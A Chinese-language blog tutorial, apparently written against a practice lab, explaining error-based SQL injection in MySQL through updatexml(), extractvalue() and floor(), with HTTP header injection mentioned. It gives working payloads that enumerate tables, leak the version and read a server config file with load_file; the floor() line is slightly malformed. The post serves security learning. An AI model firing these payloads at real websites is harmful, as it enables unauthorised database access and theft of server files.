基于函数报错信息进行注入

适用情况

Insert/update/delete型数据库的处理,都是通过报错函数进行数据注入回显的,或者通过DNSlog注入来获取数据。
如:注册,修改,删除等都属于数据库的上述三种操作,其中delete型需要在删除选项处查看网站URL,其余两种只需要在输入数据处进行注入即可

常用报错函数

  1. updatexml():Mysql中对XML文档数据进行查询和修改的XPATH函数,通过xml查询过程中的返回的错误获取报错信息
    updatexml(xml_target, xpath, new_xml)
    xml_target::需要操作的xml片段,为表中字段名
    xpath:需要更新的xml路径(xpath格式的字符串)
    new_xml:更新后的内容
    第二个参数xpath的定位必须是有效的,否则会发生错误。
    如果Xpath传入的是一个表达式,那么会先把表达式执行一遍再进行报错。
    实际上第一个和第三个传入的参数都是错误的,重点是第二个传入的参数
  2. extractvalue():Mysql中对XML文档数据进行查询的函数,通过xml查询过程中的返回的错误获取报错信息,并返回包含查询值的字符串
    extravalue(xml_document,xpath_string)
    构造XPATH定位的错位
  3. floor():Mysql中用来取整的函数,通过数据生成错误产生报错信息

基于函数报错的信息获取

思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。

前置条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

具体操作

1.updatexml()

法一

admin' and updatexml(1,concat(0x7e,version()),0) #
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) #

此时出现报错Subquery returns more than 1 row,添加限制

admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #

0x7e是~的十六进制,用于显示完整信息,避免被吃掉,也可以在抓包中方便查找的索引

limit m n 表示从第m行开始,往前n位

之后可以通过修改limit的m值来查看不同的类,其他操作以此类推,也可以通过Burp进行抓包,使用Intruder进行爆破,在limit的m值处添加爆破点,对列数进行联系爆破

法二

admin' or updatexml(1,concat(0x7e,version()),0) or'

法三

admin' and updatexml(1,concat(0x7e,database()),0) and '1'='1

2.extractvalue()

kobe' and extractvalue(0,concat(0x7e,database())) #
kobe' or extractvalue(0,concat(0x7e,database())) or'

原理和updatexml()差不多,,只不过传两个参数,第一个参数错误,第二个参数正常

读取文件

kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) #

3.floor()

kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x from information_schema.tables group by x )a)

利用的逻辑差不多

补充

Http Header注入

有时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http header头信息获取客户端的一些信息,比如useragent,accept等会对http header信息进行获取并且使用SQL进行处理,如果此时没有足够的安全考虑则会导致基于http header的SQL Inject漏洞。
Http header注入需要我们关注数据包与数据库存在交互的地方,如果这种地方过滤比严格,闭合简单,可以通过报错函数注入出数据库的数据

如:user-agent,cookie等等

总结

SQL注入的精髓在于他没有原来回显位,而你通过构造完成了闭合,继而通过报错函数的报错信息创造了回显位,让数据库的信息展现出来,只要闭合完成,那么你的报错函数正常执行,三种就都是一样的结果

posted @ 2021-08-11 12:44  icui4cu  阅读(277)  评论(0编辑  收藏  举报